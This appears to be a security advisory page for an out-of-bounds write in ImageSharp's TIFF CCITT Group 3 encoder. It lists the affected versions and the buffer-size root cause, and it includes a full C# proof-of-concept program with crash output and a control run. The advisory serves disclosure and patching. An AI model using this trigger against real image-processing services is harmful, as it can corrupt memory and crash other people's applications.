| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| SixLabors.ImageSharp | ≥ 2.0.0, < 3.2.0≥ 4.0.0, < 4.1.2 | 3.2.04.1.2 |
| imagesharp | ≥ 2.0.0, < 3.2.0≥ 4.0.0, < 4.1.2 | 3.2.04.1.2 |
ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.
This report concerns only the T4 CcittGroup3Fax encoder path. It replaces the prior, unrelated ICC content.
SixLabors.ImageSharp (NuGet)>= 2.0.0, <= 4.1.10815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.The T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure.
The affected path is reached when the application encodes 1-bit image data with TiffCompression.CcittGroup3Fax. This can happen when an application explicitly selects TiffEncoder.BitsPerPixel = Bit1 and TiffEncoder.Compression = CcittGroup3Fax. It can also occur when an application decodes a TIFF and re-encodes it using the default TiffEncoder, because ImageSharp retains TIFF frame metadata including the compression and bit depth.
TiffCompressorFactory creates T4BitCompressor for CcittGroup3Fax. TiffCcittCompressor.Initialize allocates Width * rowsPerStrip bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. WriteCode calls BitWriterUtils.WriteBit and WriteZeroBit, both of which use Unsafe.Add without a capacity check. Thus the encoded bit stream can exceed the allocated span.
A 1-pixel-wide, 2000-row alternating bilevel image caused a fatal System.AccessViolationException during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.
SixLabors.ImageSharp 4.1.1net8.0No active exploitation is known.
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンIn a net8.0 project that references the published SixLabors.ImageSharp 4.1.1 binary, save the following as Program.cs. Run dotnet run -- exploit 2000 for the trigger and dotnet run -- control 2000 for the control.
using System;
using System.IO;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;
using SixLabors.ImageSharp.PixelFormats;
string mode = args.Length > 0 ? args[0] : "exploit";
int width = mode == "control" ? 64 : 1;
int height = args.Length > 1 ? int.Parse(args[1]) : 2000;
Console.WriteLine($"mode={mode} width={width} height={height}");
using var image = new Image<L8>(width, height);
for (int y = 0; y < image.Height; y++)
for (int x = 0; x < image.Width; x++)
image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
metadata.BitsPerPixel = TiffBitsPerPixel.Bit1;
metadata.Compression = TiffCompression.CcittGroup3Fax;
using var output = new MemoryStream();
image.Save(output, new TiffEncoder());
Console.WriteLine($"Encoded OK: {output.Length} bytes");
Against the published 4.1.1 package, this produced:
mode=exploit width=1 height=2000
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
at ...TiffCcittCompressor.GetWhiteTermCode(...)
at ...T4BitCompressor.CompressStrip(...)
A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:
mode=control width=64 height=2000
Encoded OK: 76230 bytes
The direct public configuration path also triggers with:
new TiffEncoder
{
BitsPerPixel = TiffBitsPerPixel.Bit1,
Compression = TiffCompression.CcittGroup3Fax
};